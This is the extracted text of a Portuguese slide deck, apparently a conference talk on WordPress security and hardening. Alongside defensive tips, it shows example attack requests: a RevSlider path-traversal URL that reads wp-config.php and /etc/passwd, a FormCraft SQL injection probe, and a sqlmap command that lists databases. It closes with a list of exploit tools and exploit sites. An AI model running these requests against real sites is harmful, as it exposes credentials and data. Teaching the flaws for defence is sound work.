WordPress vs HackerBlindando seu WordPress

Quem somos?

Quem sou ?

Lenon Leite @lenonleite

DevOps + Workholic + TDAH=

EU

Quem sou ?

Thiago Dieb @thiagodieb

-- -- -- Fresco ++ Ansioso;

-- TDAH;… que o Lenon;

WordPress é Seguro

● 100% seguro == false;● WordPress ou Cms próprio?● WordPress

○ Estável;○ Rápida resposta de

atualização;○ Colaborativo;

E os plugins e temas?

● Todos os Plugins e Temas são do WordPress == false;

● Utilidade X Segurança == (?);● Pagos X Não pagos == (?);● Quanto ++ Plugins == ++ Risco;● Temas falsificados == ++ Risco;

Vamos começar….

A falhas em temas e plugins...

● LFD; ( local file download )

● File Upload;● Sql Injection;● Brute Force;

LFD

ThemeForest e CodeCanyon;Lista mais de mil temas… =O

http://marketblog.envato.com/news/affected-themes/

LFD

LFD

Exemplo ...

http://wordpress.local/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

http://wordpress.local/wp-admin/admin-ajax.php?action=revslider_show_image&img=../../../../etc/passwd

File upload

Sql injection

Exemplo ...http://wordpress.local/wp-content/plugins/formcraft/form.

php?id=1%27

python sqlmap.py -u 'http://wordpress.local/wp-content/plugins/formcraft/form.php?id=1' --dbs

Bruteforce

Modo de proteção

Previnir - Easy● Admin para outro nome == false;● Senha HARDCORE == true;● Somente Plugins e Temas que

vai utilizar == true;● Vários plugin de segurança ==

false;● Pesquisar sobre os plugins e

temas utilizados == true;● Modo Debug false; ● Manter sistemas atualizados;

Previnir - Medium● Desabilitar a função de edição

de tema == true;● Bloquear Brute force 1 == true;● Bloquear visualização de pasta

== true;● Usar robots.txt == true;● Acessar todos os dias == true;● Comprar temas ou plugins ==

false;

Previnir - Hard● Prepração de infra == true;● Pentest no próprio site == true

pra porra!○ Use WpScan;○ Use Accunetix;○ Use Metaexploit;

● Alterar e bloquear o wp-admin/ == true;

● Sempre informado == true;

Não basta só proteger o WordPress

O cuidado deve ser além

Olha quem caiu… kkkk

Olha quem caiu… kkkk

Globo

Olha quem caiu… kkkk

Extra

Finalizando...

@lenonleite www.lenonleite.com.br

@ThiagoDieb www.dieb.com.br

FerramentasWpScan -> Scan de vunerabilidades em WordPress.http://wpscan.org/SqlMap -> Exploração de sql injection.http://sqlmap.org/MetaSploit -> Exploração de vulnerabilidades. http://www.metasploit.com/Acunetix -> Exploração de vulnerabilidades. http://www.acunetix.com/John the Ripper -> Ferramenta de Brute Force, e quebra de hashs.http://www.openwall.com/john/InurlBr -> Vunerabilidades em Massa.https://github.com/googleinurl/SCANNER-INURLBR

Sites e Links importantes.Exploitershttp://www.exploit-db.com/http://1337day.com/https://www.facebook.com/inj3ct0rshttp://www.cvedetails.com/

Links interessanteshttp://www.wordpressexploit.com/https://www.facebook.com/inj3ct0rs